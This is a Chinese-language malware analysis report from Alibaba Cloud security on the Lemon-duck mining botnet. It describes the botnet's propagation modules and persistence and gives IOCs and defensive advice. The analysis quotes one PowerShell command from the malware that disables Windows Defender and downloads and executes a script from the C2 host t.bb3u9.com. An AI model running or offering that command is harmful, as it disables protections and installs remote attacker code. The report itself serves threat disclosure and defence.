阿里云安全监测到利用多种方式传播的僵尸网络Lemon-duck持续活跃。
概述
Lemon-duck不仅利用永恒之蓝漏洞、RDP暴力破解、SSH暴力破解、MS-SQL暴力破解、Redis未授权访问、Hadoop未授权访问等进行扫描入侵,同时变种集成WebLogic未授权访问远程命令执行漏洞进行互联网传播,并通过SMB、NTLM进行横向移动,从而实现挖矿、后门远控等功能,对主机、用户资产危害极大。
传播手段
Lemon-duck通过多个服务暴力破解、未授权访问远程命令执行和横向移动等进行传播。
初始访问 | 执行 | 持久化 | 防御规避 | 发现 | 横向移动 | 命令与控制 | 影响 |
---|---|---|---|---|---|---|---|
利用对外开放的多种服务进行入侵 | 命令和脚本解释器(下载Bash脚本) | 计划任务或作业 | 数据混淆 | 文件和目录 | 利用远程服务 | 应用层协议 | 挖矿会导致系统CPU负载加大,大量消耗主要业务资源,可能导致核心业务终止,从而影响企业服务 |
外部远程服务 | 计划任务或作业(crontab或cron.d) | 无 | 文件删除 | 系统网络配置 | 通过可移动媒体复制 | Web服务 | 收集系统主机信息,导致信息泄露 |
通过可移动媒体复制 | 第三方软件 | 无 | 清除历史 | 网络服务扫描 | 无 | 数据编码 | 无 |
无 | 无 | 无 | 无 | 安全软件 | 无 | 入口工具传输 | 无 |
无 | 无 | 无 | 无 | 系统信息 | 无 | 协议隧道 | 无 |
无 | 无 | 无 | 无 | 进程 | 无 | 非标准端口 | 无 |
无 | 无 | 无 | 无 | 软件 | 无 | 无 | 无 |
无 | 无 | 无 | 无 | 系统所有者或用户 | 无 | 无 | 无 |
详细分析
Lemon-duck新增WebLogic未授权访问远程命令执行模块,Lemon-duck入侵WebLogic应用之后会通过t.bb3u9.com/ln/core.png?logic下载bash脚本并执行
cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess c:windowssystem32WindowsPowerShellv1.0powershell.exe&powershell IEX(New-Object Net.WebClient).DownloadString("http://t.bb3u9.com/rdp.jsp
我们针对入侵Linux、Windows平台后的行为进行分析。- Linux平台
Linux平台下Lemon-duck入侵后会下载名为core.png的bash脚本,作用是下载核心bash脚本和将失陷主机传送到远程C&C端,并通过crontab做持久化。然后通过known_hosts中携带的主机信息进行传播,下载名为core.png的bash脚本,同时将本地主机信息上报远控端。
localgo函数中会通过config、history文件、进程、配置文件等获取用户、端口、rsa密钥等进而批量尝试传播。或通过$userlist、$hostlist、$keylist、$sshports即用户名列表、主机列表、密钥列表、SSH端口列表的遍历对外进行传播。
脚本中主要函数功能总结如下:函数模块 功能说明 processes 结束其他挖矿进程,卸载主机安全服务程序。 files 通过已知的IOC路径删除其他挖矿程序本地脚本。 network 通过已知的网络IOC结束其他挖矿程序网络连接。 localgo 通过config、history文件,或通过进程、配置文件等获取用户、端口、rsa密钥等信息,进而尝试批量传播。 - Window平台
核心PowerShell脚本文件经过三层的混淆,经过三次反混淆后得到可读的PowerShell文件,文件包含了收集失陷主机信息、下载脚本、二进制文件,进行C&C通信等功能。如图所示Lemon-duck收集失陷主机的系统、网卡、CPU等信息。并通过params参数拼接上述各类系统信息,发送至C&C。需要下载的文件包含if.bin和kr.bin文件,其中这两个为PowerShell脚本。
对上述if.bin(md5: 0261b30c6773e4c04987bbe5090ba685)的PowerShell文件进行反混淆处理,可以看到文件包含了核心的传播模块,包含RDP、SSH、Redis、SMB、Yarn、WebLogic的命令模块,如下图所示:通过各个函数模块进行调用,例如调用logicexec进行WebLogic未授权访问远程命令执行,也可以通过powerdump模块dump本地hash,脚本中还集成了弱密码表。检测本地是否存在mimikatz和plink文件,如果没有通过下载路径进行下载。脚本中主要函数功能总结如下:函数模块 功能 smbghost_exec SMB利用模块。 mssqlrun MS-SQL利用模块。 sshbrute SSH暴力破解模块。 localscan 内网445开放端口扫描。 redisexec Redis未授权访问利用模块。 yarnexec Hadoop Yarn未授权访问利用模块。 logicexec WebLogic未授权命令执行(CVE-2020-14882)。 Gen-NTLM 结合其他模块进行横向移动。 对kr.bin(md5: b7a1cfd74661361f71856388dac5aaa6)的PowerShell文件进行反混淆处理,该文件主要功能为建立一个守护进程角色持续进行监控。其中GetProtected通过路径匹配m6g.bin.exe和m6.bin.exe的挖矿文件来获取进程ID,用于保护自身挖矿进程。ProcessSuspend用于将进程暂停。
Killer是核心功能函数,Lemon-duck会遍历进程,通过匹配名单结束名单中的进程,例如 Windows_update、Windows Managers、Oracle Java Update等进程,同时会杀死其他挖矿程序进程诸如MinerGate、minerd、Carbon、javaupd等,还会通过netstat遍历外联IP然后中断连接。
安全解决方案
避免将远程服务SSH、RDP暴露给全网,建议通过策略区域放行或对特定IP放行,针对未修复的漏洞及时软件升级或配置升级,同时开启四层、七层漏洞防护、虚拟补丁功能。
IOC
- t.bb3u9.com
- t.pp6r1.com
- p.b69kq.com
- d.u78wjdu.com
- t.zer9g.com
- d.cu38l.com
- d.ttr3p.com
- hxxp://d.u78wjdu.com/ln/xr.zip
- hxxp://d.u78wjdu.com/m6.bin?redacted
- 170.187.149.77
- 138.68.186.90
- 176.58.99.231
- 138.68.251.24
- 165.227.62.120
- 202.182.120.192
a.asp: 576e06f3b4d78e6d0ab462da0eb70238 (bash shell)
ifbin: 0261b30c6773e4c04987bbe5090ba685 (powershell)
krbin: b7a1cfd74661361f71856388dac5aaa6 (powershell)